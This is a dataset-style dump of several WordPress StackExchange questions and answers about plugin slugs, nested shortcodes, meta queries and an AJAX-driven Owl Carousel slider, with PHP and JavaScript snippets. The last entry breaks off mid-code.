qid
int64
4
8.14M
question
stringlengths
20
48.3k
answers
list
date
stringlengths
10
10
metadata
sequence
input
stringlengths
12
45k
output
stringlengths
2
31.8k
348,393
<p>I have created a custom plugin. How do I define its <code>slug</code>?</p> <p>To clarify, if I attach a custom PHP function to the <a href="https://developer.wordpress.org/reference/hooks/manage_plugins_custom_column/" rel="nofollow noreferrer">manage_plugins_custom_column hook</a>, and in that function print the value of the <code>$plugin_data</code> array for each plugin in my WordPress installation, that array will contain information about each plugin. Here is such a function:</p> <pre><code>function opn_render_date( $column_name, $plugin_file, $plugin_data ) { error_log( print_r( $plugin_data, true ) ); } add_action( 'manage_plugins_custom_column', 'opn_render_date', 10, 3 ); </code></pre> <p>And <a href="https://pastebin.com/uVr9amLY" rel="nofollow noreferrer">here is example output</a> for one popular plugin in the WordPress repo (Classic Editor). In that output, the array element <code>$plugin_data['slug'] =&gt; classic-editor</code> can be seen. I have created a plugin, installed it, and activated it. The plugin functions as expected. But when I print out the same <code>$plugin_data[]</code> for my plugin, <code>$plugin_data['slug']</code> does not exist. Why is that? How do I define the <code>slug</code> for my plugin?</p> <p>If the issue is related to the header in my main plugin PHP file, that header can be seen <a href="https://pastebin.com/PNUFVqAq" rel="nofollow noreferrer">here</a>.</p> <p>Maybe a slug is assigned by WordPress, only after a plugin is accepted to the WordPress plugin repo? I have not yet submitted it there.</p> <p>edit: To clarify, I've written a plugin that is installed/activated via Dashboard-->Plugins.</p>
[ { "answer_id": 348394, "author": "C0c0b33f", "author_id": 173627, "author_profile": "https://wordpress.stackexchange.com/users/173627", "pm_score": 0, "selected": false, "text": "<p>By default, it should be the folder of your plugin.</p>\n\n<p>If you use wp cli, you can use</p>\n\n<pre><code>wp plugin list\n</code></pre>\n\n<p>to show all the plugin slugs. </p>\n" }, { "answer_id": 350939, "author": "cag8f", "author_id": 51204, "author_profile": "https://wordpress.stackexchange.com/users/51204", "pm_score": 2, "selected": true, "text": "<p>I eventually submitted this plugin to the WordPress repo. As soon as it was accepted, my plugin was assigned a slug. So it looks like the WordPress plugin admins assign your plugin a slug during the initial review process.</p>\n" } ]
2019/09/16
[ "https://wordpress.stackexchange.com/questions/348393", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/51204/" ]
I have created a custom plugin. How do I define its `slug`? To clarify, if I attach a custom PHP function to the [manage\_plugins\_custom\_column hook](https://developer.wordpress.org/reference/hooks/manage_plugins_custom_column/), and in that function print the value of the `$plugin_data` array for each plugin in my WordPress installation, that array will contain information about each plugin. Here is such a function: ``` function opn_render_date( $column_name, $plugin_file, $plugin_data ) { error_log( print_r( $plugin_data, true ) ); } add_action( 'manage_plugins_custom_column', 'opn_render_date', 10, 3 ); ``` And [here is example output](https://pastebin.com/uVr9amLY) for one popular plugin in the WordPress repo (Classic Editor). In that output, the array element `$plugin_data['slug'] => classic-editor` can be seen. I have created a plugin, installed it, and activated it. The plugin functions as expected. But when I print out the same `$plugin_data[]` for my plugin, `$plugin_data['slug']` does not exist. Why is that? How do I define the `slug` for my plugin? If the issue is related to the header in my main plugin PHP file, that header can be seen [here](https://pastebin.com/PNUFVqAq). Maybe a slug is assigned by WordPress, only after a plugin is accepted to the WordPress plugin repo? I have not yet submitted it there. edit: To clarify, I've written a plugin that is installed/activated via Dashboard-->Plugins.
I eventually submitted this plugin to the WordPress repo. As soon as it was accepted, my plugin was assigned a slug. So it looks like the WordPress plugin admins assign your plugin a slug during the initial review process.
348,408
<pre><code>[shortcode] [shortcode1 title="variable text"] Some text[/shortcode1] [shortcode1 title="variable text"] Some text[/shortcode1] [shortcode1 title="variable text"] Some text[/shortcode1] [shortcode1 title="variable text"] Some text[/shortcode1] [shortcode1 title="variable text"] Some text[/shortcode1] [shortcode1 title="variable text"] Some text[/shortcode1] [/shortcode] </code></pre> <p>Based on the need for a shortcode an HTML parts needs to be repeated based on user/admin inputs. I have presented a format. Is the above a possibility?</p> <p>Can a shortcode be published within a shortcode multiple times?</p> <hr> <p><strong>Further explanation of the situation</strong> Future reader may find it helpful→ This is the edifice of an HTML (<strong>Hypothetical example</strong>)</p> <pre><code>&lt;div class="classone"&gt; &lt;div class="classtwo"&gt; &lt;div class="classthree"&gt; &lt;ul class="four"&gt; &lt;li class="question"&gt; &lt;h3&gt;Question&lt;/h3&gt; &lt;/li&gt; &lt;li class="answer"&gt; &lt;p&gt;Answer&lt;/p&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; </code></pre> <p>This part is repetitive and Inner shortcode →</p> <pre><code>&lt;li class="question"&gt; &lt;h3&gt;Question&lt;/h3&gt; &lt;/li&gt; &lt;li class="answer"&gt; &lt;h3&gt;Question&lt;/h3&gt; &lt;/li&gt; </code></pre> <p>I think the code for the external shortcode will be written like this →</p> <pre><code>function external_shortcode(){ ob_start(); ?&gt; &lt;div class="classone"&gt; &lt;div class="classtwo"&gt; &lt;div class="classthree"&gt; &lt;ul class="four"&gt; &lt;!-- This is the place where I want the inner shortcode many time --&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;?php return ob_get_clean(); } add_shortcode( 'shortcode', 'external_shortcode' ); </code></pre> <p>Code for the Inner shortcode → </p> <pre><code>function internal_shortcode($atts, $content = null){ $data = [ 'title' =&gt; 'Some heading text goes here.', ]; $values = shortcode_atts($data, $atts); ob_start(); ?&gt; &lt;li class="question"&gt; &lt;h3&gt;&lt;?php echo esc_attr($values['title']); ?&gt;&lt;/h3&gt; &lt;/li&gt; &lt;li class="answer"&gt; &lt;p&gt;&lt;?php echo $content; ?&gt;&lt;/p&gt; &lt;/li&gt; &lt;?php return ob_get_clean(); } add_shortcode( 'shortcode1', 'internal_shortcode' ); </code></pre>
[ { "answer_id": 348409, "author": "WebElaine", "author_id": 102815, "author_profile": "https://wordpress.stackexchange.com/users/102815", "pm_score": 3, "selected": true, "text": "<p>Yes, you can include a shortcode however many times you like, inside a shortcode. Just make sure you set up the parent shortcode to parse shortcodes nested within.</p>\n\n<p>So, for example, if your <code>[shortcode]</code> does something like</p>\n\n<pre><code>function outer_shortcode($content = null) {\n return '&lt;div&gt;' . $content . '&lt;/div&gt;';\n}\n</code></pre>\n\n<p>just be sure to update it to parse the content for other shortcodes:</p>\n\n<pre><code>function outer_shortcode($content = null) {\n return '&lt;div&gt;' . do_shortcode($content) . '&lt;/div&gt;';\n}\n</code></pre>\n\n<p>You can then nest however many duplicate shortcodes as you like inside.</p>\n" }, { "answer_id": 348418, "author": "Mike Baxter", "author_id": 38628, "author_profile": "https://wordpress.stackexchange.com/users/38628", "pm_score": 1, "selected": false, "text": "<p>Using @WebElaine's example, all you need is to add the do_shortcode($content) to your current code:</p>\n\n<pre><code>// use both parameters in your function declaration, even if you will ignore the $atts\nfunction external_shortcode($atts, $content){\n ob_start();\n ?&gt;\n &lt;div class=\"classone\"&gt;\n &lt;div class=\"classtwo\"&gt; \n &lt;div class=\"classthree\"&gt;\n &lt;ul class=\"four\"&gt;\n &lt;?php\n // Using do_shortcode will cause Wordpress to output your inner shortcodes.\n do_shortcode($content);\n ?&gt;\n &lt;/ul&gt; \n &lt;/div&gt; \n &lt;/div&gt; \n &lt;/div&gt;\n &lt;?php \n return ob_get_clean();\n}\nadd_shortcode( 'shortcode', 'external_shortcode' );\n</code></pre>\n" } ]
2019/09/16
[ "https://wordpress.stackexchange.com/questions/348408", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/105791/" ]
``` [shortcode] [shortcode1 title="variable text"] Some text[/shortcode1] [shortcode1 title="variable text"] Some text[/shortcode1] [shortcode1 title="variable text"] Some text[/shortcode1] [shortcode1 title="variable text"] Some text[/shortcode1] [shortcode1 title="variable text"] Some text[/shortcode1] [shortcode1 title="variable text"] Some text[/shortcode1] [/shortcode] ``` Based on the need for a shortcode an HTML parts needs to be repeated based on user/admin inputs. I have presented a format. Is the above a possibility? Can a shortcode be published within a shortcode multiple times? --- **Further explanation of the situation** Future reader may find it helpful→ This is the edifice of an HTML (**Hypothetical example**) ``` <div class="classone"> <div class="classtwo"> <div class="classthree"> <ul class="four"> <li class="question"> <h3>Question</h3> </li> <li class="answer"> <p>Answer</p> </li> </ul> </div> </div> </div> ``` This part is repetitive and Inner shortcode → ``` <li class="question"> <h3>Question</h3> </li> <li class="answer"> <h3>Question</h3> </li> ``` I think the code for the external shortcode will be written like this → ``` function external_shortcode(){ ob_start(); ?> <div class="classone"> <div class="classtwo"> <div class="classthree"> <ul class="four"> <!-- This is the place where I want the inner shortcode many time --> </ul> </div> </div> </div> <?php return ob_get_clean(); } add_shortcode( 'shortcode', 'external_shortcode' ); ``` Code for the Inner shortcode → ``` function internal_shortcode($atts, $content = null){ $data = [ 'title' => 'Some heading text goes here.', ]; $values = shortcode_atts($data, $atts); ob_start(); ?> <li class="question"> <h3><?php echo esc_attr($values['title']); ?></h3> </li> <li class="answer"> <p><?php echo $content; ?></p> </li> <?php return ob_get_clean(); } add_shortcode( 'shortcode1', 'internal_shortcode' ); ```
Yes, you can include a shortcode however many times you like, inside a shortcode. Just make sure you set up the parent shortcode to parse shortcodes nested within. So, for example, if your `[shortcode]` does something like ``` function outer_shortcode($content = null) { return '<div>' . $content . '</div>'; } ``` just be sure to update it to parse the content for other shortcodes: ``` function outer_shortcode($content = null) { return '<div>' . do_shortcode($content) . '</div>'; } ``` You can then nest however many duplicate shortcodes as you like inside.
348,473
<p>How can I logout all users in wordpress at specific time? I tried to create a hook and used WP Control plugin but it did not worked for me</p>
[ { "answer_id": 348409, "author": "WebElaine", "author_id": 102815, "author_profile": "https://wordpress.stackexchange.com/users/102815", "pm_score": 3, "selected": true, "text": "<p>Yes, you can include a shortcode however many times you like, inside a shortcode. Just make sure you set up the parent shortcode to parse shortcodes nested within.</p>\n\n<p>So, for example, if your <code>[shortcode]</code> does something like</p>\n\n<pre><code>function outer_shortcode($content = null) {\n return '&lt;div&gt;' . $content . '&lt;/div&gt;';\n}\n</code></pre>\n\n<p>just be sure to update it to parse the content for other shortcodes:</p>\n\n<pre><code>function outer_shortcode($content = null) {\n return '&lt;div&gt;' . do_shortcode($content) . '&lt;/div&gt;';\n}\n</code></pre>\n\n<p>You can then nest however many duplicate shortcodes as you like inside.</p>\n" }, { "answer_id": 348418, "author": "Mike Baxter", "author_id": 38628, "author_profile": "https://wordpress.stackexchange.com/users/38628", "pm_score": 1, "selected": false, "text": "<p>Using @WebElaine's example, all you need is to add the do_shortcode($content) to your current code:</p>\n\n<pre><code>// use both parameters in your function declaration, even if you will ignore the $atts\nfunction external_shortcode($atts, $content){\n ob_start();\n ?&gt;\n &lt;div class=\"classone\"&gt;\n &lt;div class=\"classtwo\"&gt; \n &lt;div class=\"classthree\"&gt;\n &lt;ul class=\"four\"&gt;\n &lt;?php\n // Using do_shortcode will cause Wordpress to output your inner shortcodes.\n do_shortcode($content);\n ?&gt;\n &lt;/ul&gt; \n &lt;/div&gt; \n &lt;/div&gt; \n &lt;/div&gt;\n &lt;?php \n return ob_get_clean();\n}\nadd_shortcode( 'shortcode', 'external_shortcode' );\n</code></pre>\n" } ]
2019/09/17
[ "https://wordpress.stackexchange.com/questions/348473", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/175288/" ]
How can I logout all users in wordpress at specific time? I tried to create a hook and used WP Control plugin but it did not worked for me
Yes, you can include a shortcode however many times you like, inside a shortcode. Just make sure you set up the parent shortcode to parse shortcodes nested within. So, for example, if your `[shortcode]` does something like ``` function outer_shortcode($content = null) { return '<div>' . $content . '</div>'; } ``` just be sure to update it to parse the content for other shortcodes: ``` function outer_shortcode($content = null) { return '<div>' . do_shortcode($content) . '</div>'; } ``` You can then nest however many duplicate shortcodes as you like inside.
348,531
<p>I'd like to make a query of custom posts based on a custom field, say <code>instrument</code>. I need to be able to query only those posts for which the custom field has not been set (i.e. for which the meta value does not exist). Is there a way to achieve this with <code>meta_query</code> ? Here's the code for the query :</p> <pre><code>$args = array( 'post_type' =&gt; 'my_custom_post_type', 'nopaging' =&gt; true ); $args['meta_query'] = array( array( 'key' =&gt; 'instrument', // when value is not even set. ) ); } $the_query = new WP_Query( $args ); </code></pre>
[ { "answer_id": 348409, "author": "WebElaine", "author_id": 102815, "author_profile": "https://wordpress.stackexchange.com/users/102815", "pm_score": 3, "selected": true, "text": "<p>Yes, you can include a shortcode however many times you like, inside a shortcode. Just make sure you set up the parent shortcode to parse shortcodes nested within.</p>\n\n<p>So, for example, if your <code>[shortcode]</code> does something like</p>\n\n<pre><code>function outer_shortcode($content = null) {\n return '&lt;div&gt;' . $content . '&lt;/div&gt;';\n}\n</code></pre>\n\n<p>just be sure to update it to parse the content for other shortcodes:</p>\n\n<pre><code>function outer_shortcode($content = null) {\n return '&lt;div&gt;' . do_shortcode($content) . '&lt;/div&gt;';\n}\n</code></pre>\n\n<p>You can then nest however many duplicate shortcodes as you like inside.</p>\n" }, { "answer_id": 348418, "author": "Mike Baxter", "author_id": 38628, "author_profile": "https://wordpress.stackexchange.com/users/38628", "pm_score": 1, "selected": false, "text": "<p>Using @WebElaine's example, all you need is to add the do_shortcode($content) to your current code:</p>\n\n<pre><code>// use both parameters in your function declaration, even if you will ignore the $atts\nfunction external_shortcode($atts, $content){\n ob_start();\n ?&gt;\n &lt;div class=\"classone\"&gt;\n &lt;div class=\"classtwo\"&gt; \n &lt;div class=\"classthree\"&gt;\n &lt;ul class=\"four\"&gt;\n &lt;?php\n // Using do_shortcode will cause Wordpress to output your inner shortcodes.\n do_shortcode($content);\n ?&gt;\n &lt;/ul&gt; \n &lt;/div&gt; \n &lt;/div&gt; \n &lt;/div&gt;\n &lt;?php \n return ob_get_clean();\n}\nadd_shortcode( 'shortcode', 'external_shortcode' );\n</code></pre>\n" } ]
2019/09/18
[ "https://wordpress.stackexchange.com/questions/348531", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130265/" ]
I'd like to make a query of custom posts based on a custom field, say `instrument`. I need to be able to query only those posts for which the custom field has not been set (i.e. for which the meta value does not exist). Is there a way to achieve this with `meta_query` ? Here's the code for the query : ``` $args = array( 'post_type' => 'my_custom_post_type', 'nopaging' => true ); $args['meta_query'] = array( array( 'key' => 'instrument', // when value is not even set. ) ); } $the_query = new WP_Query( $args ); ```
Yes, you can include a shortcode however many times you like, inside a shortcode. Just make sure you set up the parent shortcode to parse shortcodes nested within. So, for example, if your `[shortcode]` does something like ``` function outer_shortcode($content = null) { return '<div>' . $content . '</div>'; } ``` just be sure to update it to parse the content for other shortcodes: ``` function outer_shortcode($content = null) { return '<div>' . do_shortcode($content) . '</div>'; } ``` You can then nest however many duplicate shortcodes as you like inside.
348,559
<p>In WordPress, I am pulling data in from an api and using custom post types to display in owl-slider. For some reason, my code is breaking the slider layout. I will post the code below.</p> <pre><code>&lt;form&gt; &lt;section class="s-raking"&gt; &lt;div class="container"&gt; &lt;?php $terms = get_terms( array( 'taxonomy' =&gt; 'ranking', 'hide_empty' =&gt; false, ) ); ?&gt; &lt;h2 class="title-bar" data-ranking="&lt;?php echo $terms[0]-&gt;slug; ?&gt;"&gt;Ranking &lt;span&gt;&lt;?php echo $terms[0]-&gt;name; ?&gt;&lt;/span&gt; &lt;div class="ranking-nav-btn"&gt; &lt;div class="customPrevBtn4"&gt;&lt;i class="fa fa-angle-left"&gt;&lt;/i&gt;&lt;/div&gt; &lt;div class="customNextBtn4"&gt;&lt;i class="fa fa-angle-right"&gt;&lt;/i&gt;&lt;/div&gt; &lt;/div&gt; &lt;/h2&gt; &lt;div class="row no-gutters"&gt; &lt;div class="col-lg-8"&gt; &lt;div class="slider-ranking owl-carousel"&gt; &lt;?php foreach($terms as $term) { ?&gt; &lt;div class="rankig-one" style='background:url(&lt;?php the_field('bg_image', 'term_' .$term-&gt;term_id ); ?&gt;) no-repeat scroll center center; background-size: cover;' data-title="&lt;?php echo $term-&gt;slug; ?&gt;"&gt; &lt;h3&gt;&lt;?php the_field('title_normal', 'term_' .$term-&gt;term_id ); ?&gt; &lt;?php if(get_field('title_strong', 'term_' .$term-&gt;term_id )) { ?&gt;&lt;span&gt;&lt;?php the_field('title_strong', 'term_' .$term-&gt;term_id ); ?&gt;&lt;/span&gt;&lt;?php } ?&gt;&lt;/h3&gt; &lt;ul class="ajax-content2"&gt; &lt;?php $posts = get_field('top_players', 'term_' .$term-&gt;term_id ); if( $posts ): ?&gt; &lt;ul&gt; &lt;?php $i = '1'; foreach( $posts as $post): ?&gt; &lt;?php setup_postdata($post); ?&gt; &lt;li&gt;&lt;a href="&lt;?php the_permalink(); ?&gt;"&gt;&lt;?php echo $i; ?&gt; &lt;?php the_title(); ?&gt;&lt;/a&gt;&lt;/li&gt; &lt;?php $i++; endforeach; ?&gt; &lt;/ul&gt; &lt;?php wp_reset_postdata(); ?&gt; &lt;?php endif; ?&gt; &lt;/div&gt; &lt;?php } ?&gt; &lt;/ul&gt;&lt;! - - end ajax-content2--&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class="col-lg-4"&gt; &lt;div class="filters-ranking"&gt; &lt;div class="filters-search"&gt; &lt;input type="text" class="quicksearch" placeholder="Encuentra a un jugador" /&gt; &lt;i class="fa fa-search"&gt;&lt;/i&gt; &lt;/div&gt; &lt;div class="tabs d-flex"&gt; &lt;span class="tab"&gt;Ranking&lt;/span&gt; &lt;span class="tab"&gt;Selecciona tu estado&lt;/span&gt; &lt;/div&gt; &lt;div class="tab_content"&gt; &lt;div class="tab_item"&gt; &lt;div class="filters-bar"&gt; &lt;select class="filters-select" name="position" onchange="this.form.submit()"&gt; &lt;?php $field_key = "field_5c80e92663dd1"; $field = get_field_object($field_key); foreach ( $field['choices'] as $k =&gt; $v ) { echo '&lt;option value="' . $k . '"&gt;' . $v . '&lt;/option&gt;'; } ?&gt; &lt;/select&gt; &lt;/div&gt; &lt;div class="players-results" id="ajax-content"&gt;&lt;/div&gt; &lt;/div&gt; &lt;div class="tab_item"&gt; &lt;div class="players-state"&gt; &lt;ul&gt; &lt;?php $field_key = "field_5cebb7e973218"; $field = get_field_object($field_key); foreach ( $field['choices'] as $k =&gt; $v ) { echo '&lt;li data-value="' . $k . '"&gt;' . $v . '&lt;/li&gt;'; } ?&gt; &lt;/ul&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/section&gt; &lt;?php if(isset($_GET["position"])){ $position=$_GET["position"]; // echo "select position is =&gt; ".$position; } ?&gt; &lt;/form&gt; </code></pre> <p>The link to the home page is <a href="https://probeis.mx" rel="nofollow noreferrer">https://probeis.mx</a> The slider in question is:</p> <p><a href="https://i.stack.imgur.com/vY3zo.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/vY3zo.png" alt="enter image description here"></a></p> <p>On Closer inspection in the inspector tools, I notice the "li" information is missing after one second. </p> <p><a href="https://i.stack.imgur.com/yWvmi.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/yWvmi.png" alt="enter image description here"></a></p> <p>Edit:</p> <p>Thanks to Mehar I have moved closer to the problem. I now have the data persisting to the page but now my slider items are all showing 2 or 3 items even though the owl carousel is set to item: 1. I am now also missing the search box to the right of the slider as seen in the image above. I will place the updated code below.</p> <p>Functions.php</p> <pre><code>add_action( 'wp_ajax_nopriv_players', 'players_lpm' ); add_action( 'wp_ajax_players', 'players_lpm' ); function players_lpm() { $position = $_POST['position']; $ranking = $_POST['ranking']; $search = $_POST['search']; $state = $_POST['state']; $args = array( 'post_type' =&gt; 'players_lpm', 'posts_per_page' =&gt; -1, 's' =&gt; $search, 'tax_query' =&gt; array( array( 'taxonomy' =&gt; 'ranking', 'field' =&gt; 'slug', 'terms' =&gt; $ranking ) ), 'meta_query' =&gt; array( array( 'key' =&gt; 'position', 'value' =&gt; $position, 'compare' =&gt; 'LIKE' ), array( 'key' =&gt; 'state', 'value' =&gt; $state, 'compare' =&gt; 'LIKE' ), 'relation' =&gt; 'AND' ) ); $the_query = new WP_Query( $args ); $i2 = '1'; echo '&lt;ul&gt;'; while ($the_query -&gt; have_posts()) : $the_query -&gt; the_post(); echo '&lt;li&gt;&lt;a href="'.get_permalink().'"&gt;&lt;span&gt;'.$i2.'&lt;/span&gt;'.get_the_title().'&lt;/a&gt;&lt;/li&gt;'; $i2++; endwhile; wp_reset_postdata(); echo '&lt;/ul&gt;'; die(); } add_action( 'wp_ajax_nopriv_playersmain', 'playersmain' ); add_action( 'wp_ajax_playersmain', 'playersmain' ); function playersmain() { $position = $_POST['position']; $ranking = $_POST['ranking']; $search = $_POST['search']; $state = $_POST['state']; $args = array( 'post_type' =&gt; 'players_lpm', 'posts_per_page' =&gt; 10, 's' =&gt; $search, 'tax_query' =&gt; array( array( 'taxonomy' =&gt; 'ranking', 'field' =&gt; 'slug', 'terms' =&gt; $ranking ) ), 'meta_query' =&gt; array( array( 'key' =&gt; 'position', 'value' =&gt; $position, 'compare' =&gt; 'LIKE' ), array( 'key' =&gt; 'state', 'value' =&gt; $state, 'compare' =&gt; 'LIKE' ), 'relation' =&gt; 'AND' ) ); $the_query = new WP_Query( $args ); $i2 = '1'; while ($the_query -&gt; have_posts()) : $the_query -&gt; the_post(); echo '&lt;li&gt;&lt;a href="'.get_permalink().'"&gt;&lt;span&gt;'.$i2.'&lt;/span&gt;'.get_the_title().'&lt;/a&gt;&lt;/li&gt;'; $i2++; endwhile; wp_reset_postdata(); die(); } </code></pre> <p>Script.js</p> <pre><code>var owl8 = $( ".slider-ranking" ); owl8.owlCarousel({ items: 1, loop: true, nav:true, animateOut: 'fadeOut', navText:['&lt;i class="fa fa-angle-left"&gt;&lt;/i&gt;', '&lt;i class="fa fa-angle-right"&gt;&lt;/i&gt;'], dots: false, //autoplay:true, autoplayTimeout:4000, autoplayHoverPause:true }); $('.customNextBtn4').click(function() { owl8.trigger('next.owl.carousel', [300]); }); $('.customPrevBtn4').click(function() { owl8.trigger('prev.owl.carousel', [300]); }); owl8.on('changed.owl.carousel', function(e) { var current = e.item.index; var currSl2 = $(e.target).find(".owl-item").eq(current).find(".rankig-one h3").html(); $(".s-raking .title-bar span").html(currSl2); var currSl3 = $(e.target).find(".owl-item").eq(current).find(".rankig-one").attr('data-title'); $(".s-raking .title-bar").attr('data-ranking', currSl3); ranking(); }); /*for first load*/ function ranking() { $(".filters-ranking .players-results").mCustomScrollbar("destroy"); var position = $(".filters-select option:selected").val(); var ranking = $('.s-raking .title-bar').attr('data-ranking'); var search = $('.quicksearch').attr('data-search'); var state = $('.players-state').attr('data-state'); $.ajax({ url : ajaxurl, type: 'post', data : { action : 'playersmain', position: position, ranking: ranking, search: search, state: state }, success : function( response ) { $("#ajax-content").html(response); $(".filters-ranking .players-results").mCustomScrollbar({ scrollButtons:{enable:true} }); } }); $.ajax({ url : ajaxurl, type: 'post', data : { // action : 'playersmain', action : 'players_lpm', position: position, ranking: ranking, search: search, state: state }, success : function( response ) { $(".ajax-content2").html(response); } }); } ranking(); </code></pre> <p>The front-page.php data from above is still the same. Again, Thank you Mehar for getting me closer to solving this dilema.</p> <p>P.D. Here is the messed up version image so far.</p> <p><a href="https://i.stack.imgur.com/PwjAq.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/PwjAq.png" alt="enter image description here"></a></p>
[ { "answer_id": 348409, "author": "WebElaine", "author_id": 102815, "author_profile": "https://wordpress.stackexchange.com/users/102815", "pm_score": 3, "selected": true, "text": "<p>Yes, you can include a shortcode however many times you like, inside a shortcode. Just make sure you set up the parent shortcode to parse shortcodes nested within.</p>\n\n<p>So, for example, if your <code>[shortcode]</code> does something like</p>\n\n<pre><code>function outer_shortcode($content = null) {\n return '&lt;div&gt;' . $content . '&lt;/div&gt;';\n}\n</code></pre>\n\n<p>just be sure to update it to parse the content for other shortcodes:</p>\n\n<pre><code>function outer_shortcode($content = null) {\n return '&lt;div&gt;' . do_shortcode($content) . '&lt;/div&gt;';\n}\n</code></pre>\n\n<p>You can then nest however many duplicate shortcodes as you like inside.</p>\n" }, { "answer_id": 348418, "author": "Mike Baxter", "author_id": 38628, "author_profile": "https://wordpress.stackexchange.com/users/38628", "pm_score": 1, "selected": false, "text": "<p>Using @WebElaine's example, all you need is to add the do_shortcode($content) to your current code:</p>\n\n<pre><code>// use both parameters in your function declaration, even if you will ignore the $atts\nfunction external_shortcode($atts, $content){\n ob_start();\n ?&gt;\n &lt;div class=\"classone\"&gt;\n &lt;div class=\"classtwo\"&gt; \n &lt;div class=\"classthree\"&gt;\n &lt;ul class=\"four\"&gt;\n &lt;?php\n // Using do_shortcode will cause Wordpress to output your inner shortcodes.\n do_shortcode($content);\n ?&gt;\n &lt;/ul&gt; \n &lt;/div&gt; \n &lt;/div&gt; \n &lt;/div&gt;\n &lt;?php \n return ob_get_clean();\n}\nadd_shortcode( 'shortcode', 'external_shortcode' );\n</code></pre>\n" } ]
2019/09/18
[ "https://wordpress.stackexchange.com/questions/348559", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/174342/" ]
In WordPress, I am pulling data in from an api and using custom post types to display in owl-slider. For some reason, my code is breaking the slider layout. I will post the code below. ``` <form> <section class="s-raking"> <div class="container"> <?php $terms = get_terms( array( 'taxonomy' => 'ranking', 'hide_empty' => false, ) ); ?> <h2 class="title-bar" data-ranking="<?php echo $terms[0]->slug; ?>">Ranking <span><?php echo $terms[0]->name; ?></span> <div class="ranking-nav-btn"> <div class="customPrevBtn4"><i class="fa fa-angle-left"></i></div> <div class="customNextBtn4"><i class="fa fa-angle-right"></i></div> </div> </h2> <div class="row no-gutters"> <div class="col-lg-8"> <div class="slider-ranking owl-carousel"> <?php foreach($terms as $term) { ?> <div class="rankig-one" style='background:url(<?php the_field('bg_image', 'term_' .$term->term_id ); ?>) no-repeat scroll center center; background-size: cover;' data-title="<?php echo $term->slug; ?>"> <h3><?php the_field('title_normal', 'term_' .$term->term_id ); ?> <?php if(get_field('title_strong', 'term_' .$term->term_id )) { ?><span><?php the_field('title_strong', 'term_' .$term->term_id ); ?></span><?php } ?></h3> <ul class="ajax-content2"> <?php $posts = get_field('top_players', 'term_' .$term->term_id ); if( $posts ): ?> <ul> <?php $i = '1'; foreach( $posts as $post): ?> <?php setup_postdata($post); ?> <li><a href="<?php the_permalink(); ?>"><?php echo $i; ?> <?php the_title(); ?></a></li> <?php $i++; endforeach; ?> </ul> <?php wp_reset_postdata(); ?> <?php endif; ?> </div> <?php } ?> </ul><! - - end ajax-content2--> </div> </div> <div class="col-lg-4"> <div class="filters-ranking"> <div class="filters-search"> <input type="text" class="quicksearch" placeholder="Encuentra a un jugador" /> <i class="fa fa-search"></i> </div> <div class="tabs d-flex"> <span class="tab">Ranking</span> <span class="tab">Selecciona tu estado</span> </div> <div class="tab_content"> <div class="tab_item"> <div class="filters-bar"> <select class="filters-select" name="position" onchange="this.form.submit()"> <?php $field_key = "field_5c80e92663dd1"; $field = get_field_object($field_key); foreach ( $field['choices'] as $k => $v ) { echo '<option value="' . $k . '">' . $v . '</option>'; } ?> </select> </div> <div class="players-results" id="ajax-content"></div> </div> <div class="tab_item"> <div class="players-state"> <ul> <?php $field_key = "field_5cebb7e973218"; $field = get_field_object($field_key); foreach ( $field['choices'] as $k => $v ) { echo '<li data-value="' . $k . '">' . $v . '</li>'; } ?> </ul> </div> </div> </div> </div> </div> </div> </div> </section> <?php if(isset($_GET["position"])){ $position=$_GET["position"]; // echo "select position is => ".$position; } ?> </form> ``` The link to the home page is <https://probeis.mx> The slider in question is: [![enter image description here](https://i.stack.imgur.com/vY3zo.png)](https://i.stack.imgur.com/vY3zo.png) On Closer inspection in the inspector tools, I notice the "li" information is missing after one second. [![enter image description here](https://i.stack.imgur.com/yWvmi.png)](https://i.stack.imgur.com/yWvmi.png) Edit: Thanks to Mehar I have moved closer to the problem. I now have the data persisting to the page but now my slider items are all showing 2 or 3 items even though the owl carousel is set to item: 1. I am now also missing the search box to the right of the slider as seen in the image above. I will place the updated code below. Functions.php ``` add_action( 'wp_ajax_nopriv_players', 'players_lpm' ); add_action( 'wp_ajax_players', 'players_lpm' ); function players_lpm() { $position = $_POST['position']; $ranking = $_POST['ranking']; $search = $_POST['search']; $state = $_POST['state']; $args = array( 'post_type' => 'players_lpm', 'posts_per_page' => -1, 's' => $search, 'tax_query' => array( array( 'taxonomy' => 'ranking', 'field' => 'slug', 'terms' => $ranking ) ), 'meta_query' => array( array( 'key' => 'position', 'value' => $position, 'compare' => 'LIKE' ), array( 'key' => 'state', 'value' => $state, 'compare' => 'LIKE' ), 'relation' => 'AND' ) ); $the_query = new WP_Query( $args ); $i2 = '1'; echo '<ul>'; while ($the_query -> have_posts()) : $the_query -> the_post(); echo '<li><a href="'.get_permalink().'"><span>'.$i2.'</span>'.get_the_title().'</a></li>'; $i2++; endwhile; wp_reset_postdata(); echo '</ul>'; die(); } add_action( 'wp_ajax_nopriv_playersmain', 'playersmain' ); add_action( 'wp_ajax_playersmain', 'playersmain' ); function playersmain() { $position = $_POST['position']; $ranking = $_POST['ranking']; $search = $_POST['search']; $state = $_POST['state']; $args = array( 'post_type' => 'players_lpm', 'posts_per_page' => 10, 's' => $search, 'tax_query' => array( array( 'taxonomy' => 'ranking', 'field' => 'slug', 'terms' => $ranking ) ), 'meta_query' => array( array( 'key' => 'position', 'value' => $position, 'compare' => 'LIKE' ), array( 'key' => 'state', 'value' => $state, 'compare' => 'LIKE' ), 'relation' => 'AND' ) ); $the_query = new WP_Query( $args ); $i2 = '1'; while ($the_query -> have_posts()) : $the_query -> the_post(); echo '<li><a href="'.get_permalink().'"><span>'.$i2.'</span>'.get_the_title().'</a></li>'; $i2++; endwhile; wp_reset_postdata(); die(); } 